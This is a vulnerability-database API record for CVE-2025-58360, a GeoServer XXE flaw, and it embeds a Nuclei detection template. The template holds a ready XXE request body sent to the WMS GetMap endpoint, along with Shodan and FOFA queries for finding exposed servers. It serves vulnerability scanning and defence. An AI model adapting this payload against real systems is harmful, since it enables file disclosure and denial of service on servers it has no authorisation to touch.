{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-58360/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-58360/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-58360/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-58360/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-58360/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-58360"},"sightings":{"href":"/api/v1/sightings/cve-2025-58360"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.64874,"kev":true,"percentile":0.99211},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-58360.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-58360\n\ninfo:\n  name: GeoServer - XML External Entity Injection\n  author: lbb,xbow,darses\n  severity: high\n  description: |\n    GeoServer 2.26.0 to 2.26.2 and 2.25.6 contains an XML External Entity (XXE) injection caused by insufficient sanitization of XML input in /geoserver/wms GetMap operation, letting attackers disclose files or cause DoS, exploit requires crafted XML input.\n  impact: |\n    Attackers can disclose sensitive files or cause denial of service by exploiting XML external entity processing.\n  remediation: |\n    Update to GeoServer 2.25.6, 2.26.3, 2.27.0 or later.\n  reference:\n    - https://github.com/geoserver/geoserver/security/advisories/GHSA-fjf5-xgmq-5525\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-58360\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L\n    cvss-score: 8.2\n    cve-id: CVE-2025-58360\n    epss-score: 0.64874\n    epss-percentile: 0.99211\n    cwe-id: CWE-611\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: osgeo\n    product: geoserver\n    shodan-query:\n      - title:\"geoserver\"\n      - 'http.html_hash:1093634893 \"Content-Disposition: inline\"'\n      - http.favicon.hash:97540678\n      - html:\"/geoserver/\"\n    fofa-query:\n      - title=\"geoserver\"\n      - app=\"geoserver\"\n      - icon_hash=\"97540678\"\n      - body=\"/geoserver/\"\n  tags: cve,cve2025,geoserver,xxe,wms,vkev,kev,vuln\n\nhttp:\n  - method: POST\n    path:\n      - \"{{BaseURL}}/geoserver/wfs?service=WMS&request=GetMap\"\n      - \"{{BaseURL}}/wfs?service=WMS&request=GetMap\"\n\n    headers:\n      Content-Type: application/vnd.ogc.sld+xml\n\n    body: |\n      <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n      <!DOCTYPE root [ <!ENTITY xxe SYSTEM \"/this_file_does_not_exist\"> ]>\n      <StyledLayerDescriptor version=\"1.0.0\">\n      <NamedLayer><Name>&xxe;</Name></NamedLayer>\n      </StyledLayerDescriptor>\n\n    stop-at-first-match: true\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        words:\n          - \"ServiceException\"\n          - \"java.io.FileNotFoundException\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4b0a00483046022100937228a269a2fc6d08a11f47c7423ac1595c7a01645b368f53d59446c0c9c94d022100c74e79bf36809753ba593c2b267ade0a38d24658d36e7d9b6525a5a93b52f0e0:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-58360"}